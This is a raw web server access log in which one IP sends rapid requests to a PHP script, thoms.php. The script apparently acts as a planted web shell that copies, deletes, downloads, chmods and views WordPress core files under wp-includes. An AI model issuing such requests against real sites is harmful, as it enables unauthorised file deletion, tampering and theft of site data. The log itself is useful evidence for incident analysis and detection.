45.135.193.11 - - [11/Sep/2026:23:18:25 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Finteractivity-api&p= HTTP/1.1" 200 12288 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Finteractivity-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:25 -0400] "GET /thoms.php?del=class-wp-block-templates-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59277 "http://163.245.207.76:443/thoms.php?del=class-wp-block-templates-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:25 -0400] "GET /thoms.php?dl=fonts.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=fonts.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:26 -0400] "GET /thoms.php?chmod=category.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=category.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:26 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-email-service.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11905 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-email-service.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:26 -0400] "GET /bestzyx.com.tw/wp-includes/formatting.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:26 -0400] "GET /thoms.php?del=class-walker-category-dropdown.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=class-walker-category-dropdown.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:26 -0400] "GET /bestzyx.com.tw/wp-includes/widgets/ HTTP/1.1" 200 1751 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:26 -0400] "GET /thoms.php?dl=embed-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59331 "http://163.245.207.76:443/thoms.php?dl=embed-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:26 -0400] "GET /thoms.php?dl=feed-rdf.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=feed-rdf.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:26 -0400] "GET /thoms.php?dl=kses.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=kses.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:27 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fl10n.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fl10n.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:26 -0400] "GET /thoms.php?dl=class-wp-comment.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-wp-comment.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:27 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=nav-menu.php HTTP/1.1" 200 24461 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=nav-menu.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:27 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fquery.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11866 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fquery.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:27 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Frss.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Frss.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:27 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=taxonomy.php HTTP/1.1" 200 61826 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=taxonomy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:27 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=view-config.php HTTP/1.1" 200 17559 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=view-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:27 -0400] "GET /thoms.php?chmod=block-patterns&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=block-patterns&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:27 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fl10n&p= HTTP/1.1" 200 12281 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fl10n&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:27 -0400] "GET /thoms.php?chmod=block-editor.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=block-editor.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:27 -0400] "GET /thoms.php?del=cache.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59313 "http://163.245.207.76:443/thoms.php?del=cache.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:27 -0400] "GET /thoms.php?del=class-smtp.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59321 "http://163.245.207.76:443/thoms.php?del=class-smtp.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:27 -0400] "GET /thoms.php?dl=class-wp-block.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59336 "http://163.245.207.76:443/thoms.php?dl=class-wp-block.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:28 -0400] "GET /thoms.php?del=class-wp-matchesmapregex.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=class-wp-matchesmapregex.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:28 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-block.php HTTP/1.1" 200 21102 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-block.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:28 -0400] "GET /thoms.php?dl=class-wp-plugin-dependencies.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-wp-plugin-dependencies.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:28 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-scripts.php HTTP/1.1" 200 22289 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:28 -0400] "GET /thoms.php?dl=class-wp-object-cache.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=class-wp-object-cache.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:28 -0400] "GET /thoms.php?del=class-wp-text-diff-renderer-table.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=class-wp-text-diff-renderer-table.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:29 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=deprecated.php HTTP/1.1" 200 66165 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=deprecated.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:29 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ffeed-rss.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ffeed-rss.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:29 -0400] "GET /thoms.php?del=class.wp-styles.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59353 "http://163.245.207.76:443/thoms.php?del=class.wp-styles.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:29 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-phpass.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-phpass.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:29 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-textdomain-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:29 -0400] "GET /thoms.php?dl=abilities-api.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59331 "http://163.245.207.76:443/thoms.php?dl=abilities-api.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:29 -0400] "GET /thoms.php?del=class-wp-dependencies.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?del=class-wp-dependencies.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:29 -0400] "GET /thoms.php?dl=class-wp-xmlrpc-server.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?dl=class-wp-xmlrpc-server.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:30 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fphp-compat HTTP/1.1" 200 12722 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fphp-compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:29 -0400] "GET /thoms.php?del=post-thumbnail-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59327 "http://163.245.207.76:443/thoms.php?del=post-thumbnail-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:30 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-oembed.php HTTP/1.1" 200 21753 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-oembed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:30 -0400] "GET /bestzyx.com.tw/wp-includes/functions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:30 -0400] "GET /thoms.php?chmod=class.wp-dependencies.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=class.wp-dependencies.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:30 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fformatting.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fformatting.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:30 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fmedia-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fmedia-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:30 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ftemplate-loader.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ftemplate-loader.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:30 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fhtml-api HTTP/1.1" 200 15250 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fhtml-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:30 -0400] "GET /thoms.php?del=taxonomy.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=taxonomy.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:31 -0400] "GET /thoms.php?chmod=connectors.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=connectors.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:30 -0400] "GET /thoms.php?dl=class-wp-editor.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59318 "http://163.245.207.76:443/thoms.php?dl=class-wp-editor.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:31 -0400] "GET /thoms.php?del=class-wp-fatal-error-handler.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=class-wp-fatal-error-handler.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:31 -0400] "GET /thoms.php?chmod=embed.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=embed.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:31 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=icons.php HTTP/1.1" 200 14037 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=icons.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:31 -0400] "GET /bestzyx.com.tw/wp-includes/ms-blogs.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:31 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-http.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:31 -0400] "GET /thoms.php?chmod=class-oembed.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=class-oembed.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:31 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-date-query.php HTTP/1.1" 200 22660 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-date-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:31 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=ms-settings.php HTTP/1.1" 200 13645 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=ms-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:31 -0400] "GET /thoms.php?del=class-wp-http-ixr-client.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59314 "http://163.245.207.76:443/thoms.php?del=class-wp-http-ixr-client.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:31 -0400] "GET /thoms.php?dl=class-wp-icons-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59343 "http://163.245.207.76:443/thoms.php?dl=class-wp-icons-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:32 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2FIXR&p= HTTP/1.1" 200 12288 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2FIXR&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:31 -0400] "GET /thoms.php?dl=widgets.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59304 "http://163.245.207.76:443/thoms.php?dl=widgets.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:32 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-embed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:32 -0400] "GET /thoms.php?chmod=abilities-api.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=abilities-api.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:32 -0400] "GET /thoms.php?del=class-wp-block-list.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=class-wp-block-list.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:32 -0400] "GET /thoms.php?dl=class-wp-oembed-controller.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59320 "http://163.245.207.76:443/thoms.php?dl=class-wp-oembed-controller.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:32 -0400] "GET /thoms.php?del=class-wp-plugin-dependencies.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?del=class-wp-plugin-dependencies.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:32 -0400] "GET /thoms.php?del=class-wp-simplepie-file.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=class-wp-simplepie-file.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:34 -0400] "GET /thoms.php?dl=feed-atom.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59322 "http://163.245.207.76:443/thoms.php?dl=feed-atom.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
